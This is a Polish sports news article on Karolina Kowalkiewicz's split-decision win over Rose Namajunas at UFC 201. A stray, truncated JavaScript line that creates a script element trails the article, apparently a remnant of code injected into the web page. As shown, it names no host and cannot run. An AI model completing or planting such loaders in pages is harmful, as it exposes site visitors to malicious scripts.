Nieprawdopodobny dzień dla Karoliny Kowalkiewicz! Polka nie dość, że wystąpiła w co-main evencie numerowanej gali UFC 201, to jeszcze wygrała najtrudniejszą walkę w swojej dotychczasowej karierze!
Kowalkiewicz, która nie była faworytą w starciu z amerykanką Rose Namajunas, zaprezentowała kapitalną formę. Pomimo, że pierwsza runda nieznacznie padła łupem Namajunas, Polka rozkręcała się z każdą upływającą minutą. Amerykanka dobrze poruszała się na nogach i w początkowej fazie pojedynku wyraźnie przeważała szybkościowo nad Kowalkiewicz, co jakiś czas kontrując silnymi ciosami bokserskimi.
Wraz z upływem czasu, Kowalkiewicz zaczęła bezlitośnie wykorzystywać swoją przewagę w klinczu, z którego raz po raz karciła Namajunas silnymi kolanami na korpus i łokciami na głowę. Amerykanka tylko raz była w stanie zagrozić grapplingowo Polce, ale jej zajście za plecy z klinczu zostało bardzo dobrze obronione przez Kowalkiewicz.
Wyraźnie zmęczona Namajunas, której dużo powietrza zabrała praca w klinczu i mocne kolana na korpus ze strony Kowalkiewicz, przestała już tak dobrze poruszać się po oktagonie, co spowodowało rosnącą przewagę Polki. Na koniec tej bardzo wyrównanej walki, Kowalkiewicz była w stanie sprowadzić na plecy rywalkę, zadając jej wiele celnych ciosów z gardy, a także z żółwia, co wyraźnie zaznaczyło jej przewagę w tym starciu.
Po upływie regulaminowego czasu, sędziowie orzekli niejednogłośną decyzję na korzyść Karoliny Kowalkiewicz. Stałą się Ona tym samym najpoważniejszą pretendentką do walki mistrzowskiej z Joanną Jędrzejczyk. Byłoby to wydarzenie bez precedensu w historii polskiego MMA. Są duże szanse, że do takiego starcia mogłoby dość na pierwszej gali UFC w Nowym Jorku, ze względu na wielu Polaków mieszkających i odwiedzających regularnie to miasto.
var d=document;var s=d.createElement(’script’);



